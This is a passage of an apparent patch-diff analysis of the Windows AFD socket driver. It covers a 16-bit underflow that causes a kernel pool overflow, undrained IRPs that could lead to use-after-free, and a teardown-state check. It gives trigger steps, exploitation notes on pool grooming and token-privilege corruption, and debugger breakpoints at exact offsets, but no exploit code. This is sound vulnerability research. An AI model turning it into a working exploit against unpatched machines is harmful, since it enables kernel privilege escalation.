&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0077A5C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;70&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0077A60&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0077A63&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0077A67&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0077A70&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0077A69&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0077A6E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;int&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0077A70&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; queue IRP onto conn+0x70 list&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0077A73&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0077A77&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0077A7B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;h3&gt;Finding 1 — Integer Underflow / Pool Overflow&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Open an AFD socket via &lt;code&gt;WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP)&lt;/code&gt; or &lt;code&gt;CreateFileW(L"\\\\.\\Device\\Afd", ...)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bind()&lt;/code&gt; and &lt;code&gt;listen()&lt;/code&gt;, then post an accept operation (&lt;code&gt;AcceptEx&lt;/code&gt; / &lt;code&gt;WSAAccept&lt;/code&gt;), which reaches &lt;code&gt;AfdSanAcceptCore&lt;/code&gt; via &lt;code&gt;AfdAccept&lt;/code&gt; / &lt;code&gt;AfdServiceSuperAccept&lt;/code&gt; / &lt;code&gt;AfdServiceWaitForListen&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The completion must reach the options block: &lt;code&gt;options_size&lt;/code&gt; (the field at &lt;code&gt;[connection+0x18]&lt;/code&gt;, &lt;code&gt;v15[6]&lt;/code&gt;) must be &lt;code&gt;&amp;gt;= 6&lt;/code&gt;, and the connection byte at &lt;code&gt;[connection+0xAC]&lt;/code&gt; must be &lt;strong&gt;0&lt;/strong&gt; so the subtract-8 branch runs.&lt;/li&gt;
&lt;li&gt;Drive the options length to exactly &lt;strong&gt;6 or 7&lt;/strong&gt;: &lt;code&gt;options_size - 8&lt;/code&gt; wraps in 16 bits to &lt;code&gt;0xFFFE&lt;/code&gt;/&lt;code&gt;0xFFFF&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable effect:&lt;/strong&gt; &lt;code&gt;memmove&lt;/code&gt; copies ~65534/65535 bytes from the transport response into the MDL-mapped output buffer. The overflow is bounded to at most ~64 KB (the length is a 16-bit value), but that is far larger than the small options field the buffer was sized for. Expect pool/adjacent-page corruption and a BSOD such as &lt;code&gt;PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt; or &lt;code&gt;BAD_POOL_HEADER&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Finding 2 — Pending Listen IRPs Not Drained&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Create a listening AFD socket and arrange for the listen to complete with a &lt;strong&gt;failure&lt;/strong&gt; status (&lt;code&gt;a2 &amp;lt; 0&lt;/code&gt;), which selects the abort branch in &lt;code&gt;AfdTLListenComplete&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Have listen/wait IRPs queued on the endpoint's &lt;code&gt;conn+0x70&lt;/code&gt; list at the time of the failed completion.&lt;/li&gt;
&lt;li&gt;In the unpatched build the abort branch clears the state flags and releases the &lt;code&gt;conn+0x30&lt;/code&gt; spinlock without draining &lt;code&gt;conn+0x70&lt;/code&gt;, then &lt;code&gt;AfdDerefTLBaseEndpoint&lt;/code&gt; runs.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable effect:&lt;/strong&gt; IRPs remaining on &lt;code&gt;conn+0x70&lt;/code&gt; after the endpoint dereference are stale; later access/completion of them can touch a freed endpoint. At the &lt;code&gt;KeReleaseInStackQueuedSpinLock&lt;/code&gt; in the abort branch, &lt;code&gt;[conn+0x70] != conn+0x70&lt;/code&gt; indicates undrained IRPs.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Finding 3 — Teardown-State Check (hardening)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Establish a TCP connection over an AFD socket and issue receive operations that reach &lt;code&gt;AfdSanFastCompleteRequest&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Arrange for the connection to be in teardown (&lt;code&gt;conn[0x91] != 0&lt;/code&gt;) at completion time.&lt;/li&gt;
&lt;li&gt;With the relevant feature flag disabled, the unpatched build skips the &lt;code&gt;conn[0x91]&lt;/code&gt; check and queues the receive IRP onto &lt;code&gt;conn+0x70&lt;/code&gt; even though the connection is tearing down. The patched build always checks &lt;code&gt;conn[0x91]&lt;/code&gt; and instead completes the IRP as cancelled.&lt;/li&gt;
&lt;li&gt;This is a state-validation gap, not a timing race — the entire sequence runs under the &lt;code&gt;conn+0x30&lt;/code&gt; spinlock.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;h3&gt;Finding 1 — Pool / Mapped-Buffer Overflow Primitive&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; Bounded kernel buffer overflow. &lt;code&gt;memmove&lt;/code&gt; copies up to a 16-bit length (max &lt;code&gt;0xFFFF&lt;/code&gt;) from the transport connection-response options data into the MDL-mapped output buffer. The copy overruns the buffer's mapped extent into adjacent kernel memory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overflow characteristics:&lt;/strong&gt; The length is capped by the 16-bit wrap (≤ ~64 KB), so this is not an unbounded copy. The source is the connection-response options region; how much of its content is attacker-controlled depends on the transport. The destination is the accept output buffer described by the user-supplied MDL.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Turning into a full exploit:&lt;/strong&gt; Standard kernel pool-overflow techniques would apply (grooming an adjacent target object, corrupting a data-only field such as token privileges), but the bounded length and the requirement that the feature flag be in the vulnerable state constrain reliability. No pointer leak is required for the overflow itself.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigations:&lt;/strong&gt; Pool integrity checks, randomized pool layout, and HVCI complicate exploitation as usual.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 2 — Stale IRP Primitive&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; IRPs left queued on &lt;code&gt;conn+0x70&lt;/code&gt; across &lt;code&gt;AfdDerefTLBaseEndpoint&lt;/code&gt; on the failed-listen path. If the dereference frees the endpoint, later handling of those IRPs references freed memory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Turning into a full exploit:&lt;/strong&gt; Would require reclaiming the freed endpoint allocation and steering a subsequent IRP-driven access, which is timing- and layout-dependent.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 3 — State-Validation Hardening&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Not a standalone exploit primitive. The change removes a configuration (feature-flag-off) in which a receive IRP could be queued onto a connection already in teardown. Impact depends on downstream handling of that queued IRP and is not demonstrable from the diff alone.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;h3&gt;Finding 1 — &lt;code&gt;AfdSanAcceptCore&lt;/code&gt; (Integer Underflow → Overflow)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp afd_unpatched+0x7608C
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Break at the accept completion routine entry.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp afd_unpatched+0x764C2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Break at &lt;code&gt;add r14w, ax&lt;/code&gt; (the &lt;code&gt;0FFF8h&lt;/code&gt; subtraction). Inspect &lt;code&gt;r14&lt;/code&gt; immediately after: for options size 6 it becomes &lt;code&gt;0xFFFE&lt;/code&gt;, for 7 &lt;code&gt;0xFFFF&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp afd_unpatched+0x764DA
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Break at the &lt;code&gt;memmove&lt;/code&gt; in the subtract-8 branch and read &lt;code&gt;r8&lt;/code&gt; (the size argument).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What to inspect:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Register / Memory&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;word [connection+0x18]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Options size; must be 6 or 7 to trigger&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;byte [connection+0xAC]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Must be 0 to reach the subtract-8 branch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;r14&lt;/code&gt; at &lt;code&gt;0x1C00764C2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Copy length after the 16-bit subtraction (&lt;code&gt;0xFFFE&lt;/code&gt;/&lt;code&gt;0xFFFF&lt;/code&gt; on underflow)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;r15&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Destination: mapped output buffer base used by the copy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rdx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Source pointer into the connection-response options data&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Key instruction offsets:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Instruction&lt;/th&gt;
&lt;th&gt;Significance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C0076401&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmp dword [rbx+18h], 6&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Only guard on options size&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C007645E&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;jz loc_1C007649E&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Selects the subtract-8 (vulnerable) branch when &lt;code&gt;[conn+0xAC]==0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C00764C2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;add r14w, ax&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;16-bit &lt;code&gt;size - 8&lt;/code&gt; underflow&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C00764DA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call memmove&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Oversized copy&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Expected observation:&lt;/strong&gt; At the &lt;code&gt;memmove&lt;/code&gt;, &lt;code&gt;r8&lt;/code&gt; holds &lt;code&gt;0xFFFE&lt;/code&gt;/&lt;code&gt;0xFFFF&lt;/code&gt;, and the copy overruns the mapped output buffer, corrupting adjacent memory (BSOD &lt;code&gt;PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt; / &lt;code&gt;BAD_POOL_HEADER&lt;/code&gt;).&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 2 — &lt;code&gt;AfdTLListenComplete&lt;/code&gt; (Missing IRP Drain)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp afd_unpatched+0x5AB60
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Entry of the listen completion handler. &lt;code&gt;rbx&lt;/code&gt; becomes the connection object; the pending listen-IRP list head is &lt;code&gt;conn+0x70&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp afd_unpatched+0x5AC54
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Break at the &lt;code&gt;KeReleaseInStackQueuedSpinLock&lt;/code&gt; in the abort branch. Check whether &lt;code&gt;[conn+0x70]&lt;/code&gt; still points at queued IRPs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What to inspect:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Register / Memory&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rbx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Connection object&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[rbx+0x70]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pending listen-IRP list Flink; &lt;code&gt;!= rbx+0x70&lt;/code&gt; means undrained IRPs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[rbx+8]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;State dword; watch &lt;code&gt;&amp;amp;= ~3&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;word [rbx]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Flags; watch &lt;code&gt;&amp;amp;= ~4&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[rbx+0xA8]&lt;/code&gt;, &lt;code&gt;[rbx+0xAA]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;State values written from the IRP&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Key instruction offsets:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Instruction&lt;/th&gt;
&lt;th&gt;Significance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C005ABB8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;js loc_1C005AC1B&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Selects the abort branch (status &amp;lt; 0)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C005AC2A&lt;/code&gt;–&lt;code&gt;0x1C005AC51&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;State-flag updates&lt;/td&gt;
&lt;td&gt;Connection state transition&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C005AC54&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call KeReleaseInStackQueuedSpinLock&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Lock release without drain (unpatched)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 3 — &lt;code&gt;AfdSanFastCompleteRequest&lt;/code&gt; (Teardown-State Check)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp afd_unpatched+0x78630
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Entry of the receive completion path. &lt;code&gt;rsi&lt;/code&gt; = IRP, &lt;code&gt;r15&lt;/code&gt; = connection object.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp afd_unpatched+0x78982
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Break at the feature-flag &lt;code&gt;call EvaluateCurrentState&lt;/code&gt;. If it returns 0, the &lt;code&gt;[r15+0x91]&lt;/code&gt; teardown check is skipped and the IRP is queued unconditionally.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp afd_unpatched+0x789B0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Break at the list insertion onto &lt;code&gt;conn+0x70&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What to inspect:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Register / Memory&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rsi&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;IRP pointer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[rsi+0x44]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Irp-&amp;gt;Cancel&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[rsi+0x68]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Irp-&amp;gt;CancelRoutine&lt;/code&gt;, set to &lt;code&gt;AfdSanCancelRequest&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[r15+0x91]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Connection teardown-state byte&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[r15+0x70]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Pending-IRP list head&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[rsi+0xA8]&lt;/code&gt;, &lt;code&gt;[rsi+0xB0]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;IRP list-entry fields queued onto the list&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Key instruction offsets:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Instruction&lt;/th&gt;
&lt;th&gt;Significance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C0078971&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;xchg [rsi+68h], rax&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Sets the cancel routine (under the lock)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C0078975&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmp byte [rsi+44h], 0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Irp-&amp;gt;Cancel&lt;/code&gt; check&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C0078982&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;call EvaluateCurrentState&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Feature-flag gate; when off, &lt;code&gt;[r15+0x91]&lt;/code&gt; is not checked&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1C00789B0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov [rsi], rcx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;IRP queued onto &lt;code&gt;conn+0x70&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;h3&gt;Security-Relevant Changes (4 functions)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Similarity&lt;/th&gt;
&lt;th&gt;Change Type&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AfdSanAcceptCore&lt;/code&gt; (&lt;code&gt;0x1C007608C&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.8803&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Accept completion — patched adds a feature-gated &lt;code&gt;options_size &amp;lt; 8&lt;/code&gt; zero-fill (&lt;code&gt;memset&lt;/code&gt;), preventing the 16-bit &lt;code&gt;size - 8&lt;/code&gt; underflow in the copy length&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AfdTLListenComplete&lt;/code&gt; (&lt;code&gt;0x1C005AB60&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.8635&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;td&gt;Failed-listen completion — patched adds a feature-gated &lt;code&gt;AfdDrainListeningIrps&lt;/code&gt; call to drain the &lt;code&gt;conn+0x70&lt;/code&gt; IRP list before releasing the lock&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AfdSanFastCompleteRequest&lt;/code&gt; (&lt;code&gt;0x1C0078630&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;0.9817&lt;/td&gt;
&lt;td&gt;Hardening&lt;/td&gt;
&lt;td&gt;Receive completion — the &lt;code&gt;conn[0x91]&lt;/code&gt; teardown-state check, previously feature-flag-gated, is made unconditional; not a race (all under the connection spinlock)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C00529A0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.8387&lt;/td&gt;
&lt;td&gt;Security-relevant (candidate)&lt;/td&gt;
&lt;td&gt;Connection abort/cleanup — restructured drain logic with added feature-gated state checks; specific mechanism not further verified here&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Behavioral Changes (19 functions)&lt;/h3&gt;
&lt;p&gt;These functions share a common pattern: addition (or removal) of &lt;code&gt;EvaluateCurrentState&lt;/code&gt; feature-flag checks that gate new code paths, consolidation of dual code paths into single calls, and connection-state validation refactoring.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Similarity&lt;/th&gt;
&lt;th&gt;Key Change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C00357C0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.8794&lt;/td&gt;
&lt;td&gt;Feature flag added; state validation split into separate branches&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sub_1C003EC54&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.8796&lt;/td&gt;
